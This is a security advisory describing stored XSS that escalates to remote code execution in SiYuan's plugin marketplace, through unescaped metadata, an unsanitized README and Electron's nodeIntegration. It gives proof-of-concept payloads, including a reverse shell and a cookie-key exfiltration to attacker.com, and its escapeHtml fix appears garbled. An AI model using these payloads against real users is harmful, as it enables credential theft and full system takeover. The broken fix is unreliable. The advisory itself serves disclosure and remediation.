SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by:
displayName and description fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution.renderREADME function uses lute.New() without SetSanitize(true), so raw HTML in the README passes through to innerHTML unsanitized.Both vectors execute in Electron's renderer with nodeIntegration: true and contextIsolation: false, giving full OS command execution.
app/src/config/bazaar.ts:275-277kernel/bazaar/package.go:635-645 (renderREADME)app/src/config/bazaar.ts:607 (innerHTML)app/electron/main.js:422-426 (nodeIntegration: true)// Package name injected directly into HTML template — NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description injected directly — NO escaping
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>
Note: The title attribute uses escapeAttr(), but the actual text content does not — inconsistent escaping.
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved
return
}
Compare with the SiYuan note renderer in kernel/util/lute.go:81:
luteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOT
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = response.data.html; // Unsanitized HTML from README
});
A malicious plugin.json (or theme.json, template.json):
{
"name": "helpful-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "A helpful plugin<img src=x onerror=\"require('child_process').exec('id>/tmp/pwned')\">"
},
"version": "1.0.0"
}
When any user opens the Bazaar page and this package is in the listing, the onerror handler fires automatically (since src=x fails to load), executing arbitrary OS commands.
# Helpful Plugin
This plugin does helpful things.
<img src=x onerror="require('child_process').exec('calc.exe')">
## Installation
Follow the usual steps.
When a user clicks on the package to view its README, the raw HTML is rendered via innerHTML without sanitization, executing the onerror handler.
# Cool Theme
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')">
{
"displayName": {
"default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
}
}
displayName or descriptionThe attacker doesn't need to trick the user into installing anything. Simply browsing the marketplace is enough.
nodeIntegration: true// Use a proper HTML escape function
function escapeHtml(str: string): string {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"');
}
// Apply to all user-controlled metadata
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New()
luteEngine.SetSanitize(true) // ADD THIS
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
// ...
}
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}
{
"github_reviewed": true,
"severity": "MODERATE",
"cwe_ids": [
"CWE-79"
],
"nvd_published_at": null,
"github_reviewed_at": "2026-03-16T20:43:49Z"
}